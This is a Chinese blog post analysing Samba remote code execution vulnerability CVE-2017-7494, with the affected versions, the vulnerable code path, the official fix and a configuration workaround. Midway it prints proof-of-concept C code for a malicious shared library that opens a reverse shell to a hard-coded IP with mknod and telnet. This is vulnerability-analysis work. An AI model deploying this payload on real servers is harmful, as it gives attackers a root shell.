linux smb 漏洞_CVE-2017-7494 Samba 远程代码执行漏洞分析

阅读:

3,253

5月24 日,Samba官方发布消息,Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。

漏洞描述

Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。

以下Samba版本受到影响:

– 3.5.0- 4.6.4

– 3.5.0- 4.5.10

– 3.5.0- 4.4.14

Samba介绍

Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。

SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

漏洞分析

根据Samba官方说明了解,漏洞出现在source3/rpc_server/srv_pipe.c中的is_known_pipename函数里,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。

is_known_pipename会将请求访问的管道名传入,随后会调用smb_probe_module函数。

这个函数其实是do_smb_load_module函数的一个封装。

根据管道名的不同,程序会走两个流程,最终会进入load_module。

进入load_module后,会查找samba_init_module指针并返回。

随后会执行samba_init_module函数。

流程分析完成后我们自己构造一个so测试一下,so的代码如下:#include

int samba_init_module()

{

//感谢CF_HB的姿势

system("mknod backpipe p && telnet 10.65.80.35 8080 0backpipe");

return 0;

}

使用如下命令进行编译

gcc test.c -shared -fPIC -o test.somknod backpipe p && telnet 10.65.80.35 8080 0backpipe

在is_known_pipename下断点

跟进so中,可以看到

反弹回来的shell可以看到,shell的组已经提升到了root

可见,若要利用成功,必须在目标系统上部署恶意so文件,而且要知道这个so文件的绝对路径。

官方修复

在git上看到官方的修复如下,在is_known_pipename函数中做了判断,只要有/的一律不再走下面的流程(Linux中的管道名均不含/),并返回错误。

https://github.com/samba-team/samba/commit/04a3ba4dbcc4be0ffc706ccc0b586d151d360015

临时解决方案

在samba的配置文件中添加nt pipe support = 0,即关闭pipe支持(依赖pipe的功能受影响)#======================= Global Settings =====================================

[global]

# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH

workgroup = WORKGROUP

# server string is the equivalent of the NT Description field

server string = Samba Server

# fix CVE-2017-7494

nt pipe support = 0

参考

http://www.nsfocus.net/vulndb/36755

http://baike.baidu.com/item/samba

http://bobao.360.cn/learning/detail/3900.html

如果您需要了解更多内容,可以

加入QQ群:570982169

直接询问:010-68438880

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值